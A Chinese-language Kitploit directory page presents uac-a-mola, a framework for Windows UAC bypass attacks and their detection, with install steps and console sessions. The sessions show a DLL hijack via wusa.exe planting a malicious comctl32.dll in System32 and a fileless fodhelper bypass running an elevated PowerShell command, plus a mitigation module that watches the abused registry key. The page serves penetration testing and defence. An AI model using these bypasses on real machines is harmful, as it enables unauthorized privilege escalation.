Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
uac-a-mola — 模块化框架,用于Windows UAC绕过攻击和缓解,具有DLL劫持、无文件执行和实时监控功能,可检测并阻止权限提升尝试。 | Kitploit
工具/GitHubGitHub/telefonica/uac-a-mola
防御工具权限提升漏洞利用框架渗透测试
GitHubtelefonica/uac-a-mola

uac-a-mola

模块化框架,用于Windows UAC绕过攻击和缓解,具有DLL劫持、无文件执行和实时监控功能,可检测并阻止权限提升尝试。

查看仓库
1072785年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

uac-a-mola

安装

要安装 uac-a-mola,您需要执行以下操作:

  1. 下载并安装适用于Windows的Python 2.7.x,考虑到您的特定基础设施,您可以在此处找到二进制文件:https://www.python.org/downloads/
  2. 将Python路径添加到_path_环境变量。您可以通过执行以下步骤来完成:
    1. 右键单击_我的电脑_,左键单击属性
    2. 左键单击高级系统配置
    3. 左键单击环境变量
    4. 在_系统变量_框中,双击左键_Path_
    5. 左键单击_新建_并添加以下路径:
      • C:\Python27\
      • C:\Python27\scripts\
  3. 从GitHub下载uac-a-mola工具,通过下载.zip文件或克隆仓库。
  4. 使用cmd打开文件夹 uac-a-mola-master 并执行以下命令:
root@kitploit:~
pip install -r requirements.txt

Uac-a-mola现在可以用了!您可以通过输入以下内容来测试其功能:

root@kitploit:~
cd uacamola
python uacamola.py

教程

这是一个简短的部分,解释了uac-a-mola某些模块的使用方法:

攻击模块

使用攻击模块非常简单,几乎不需要解释。您只需使用load命令在框架中加载相应的模块,使用show命令查看选项或输入参数,使用run命令执行模块:

root@kitploit:~
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show

 Author
 ------
 |_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)

 Name
 ----
 |_Copy DLL with wusa.exe

 Description
 -----------
 |_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)


 Options (Field = Value)
 -----------------------
 |_name_dll = comctl32.dll (name of DLL)
 |
 |_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
 |
 |_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
 |
 |_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
 |
 |_destination_path = C:\Windows\System32 (Destination path)


uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>

另一个示例:

root@kitploit:~
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show

 Author
 ------
 |_Santiago Hernandez Ramos

 Name
 ----
 |_Fileless Fodhelper

 Description
 -----------
 |_Fileless - Fodhelper bypass UAC

 Options (Field = Value)
 -----------------------
 |_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)

uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...

缓解模块

使用缓解方法也相当简单,但它们内部结构稍显复杂,将在本节中解释。关于其使用,首先要做的是加载可用的缓解模块:

root@kitploit:~
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show

 Author
 ------
 |_Santiago Hernandez Ramos

 Name
 ----
 |_This module will instrument the binaries selected and detect possible UAC bypasses

 Description
 -----------
 |_Bypass Mitigation

 Options (Field = Value)
 -----------------------
 |_[REQUIRED] password = None (Password for connection)
 |
 |_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
 |
 |_port = 5555 (Port for connection)

在这种情况下,我们需要设置一个密码,代理将使用该密码与将在uacamola框架中执行的监听器进行通信。我们可以在路径_uacamola/support/agents_中找到代理,打开这些文件可以看到密码:

root@kitploit:~
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")

_uacamola_将是用作身份验证和通信的密码,但我们可以更改它。另一个必需的参数是包含要监视的二进制文件列表的文件路径,这些二进制文件必须在代理路径中有一个agent.pyw文件。

root@kitploit:~
uac-a-mola[bypass_mitigation.py]> show

 Author
 ------
 |_Santiago Hernandez Ramos

 Name
 ----
 |_This module will instrument the binaries selected and detect possible UAC bypasses

 Description
 -----------
 |_Bypass Mitigation

 Options (Field = Value)
 -----------------------
 |_password = uacamola (Password for connection)
 |
 |_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
 |
 |_port = 5555 (Port for connection)

uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...

--- Press ENTER for quit mitigate mode ---

只需填写这些字段并执行_run_命令,uacamola就会开始监控列表中出现的所有与UAC绕过相关的活动。如果检测到危险活动,它将自动修剪危险的(文件系统或注册表的)分支,并以安全的方式执行二进制文件。要退出此模式,我们只需按_ENTER_键。

研究模块

编写您自己的模块

支持

请将任何错误报告至 [email protected] 或在GitHub上打开一个问题。感谢您的合作!

联系

[email protected]

本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因使用本软件或与本软件的使用或其他交易有关的任何索赔、损害或其他责任负责,无论是合同诉讼、侵权行为还是其他形式。每当您向包含许可证声明的仓库做出贡献时,您将根据相同的条款许可您的贡献,并且您同意您有权根据这些条款许可您的贡献。如果您有单独的协议以不同的条款许可您的贡献,例如贡献者许可协议,则该协议将取代本条款。

下载工具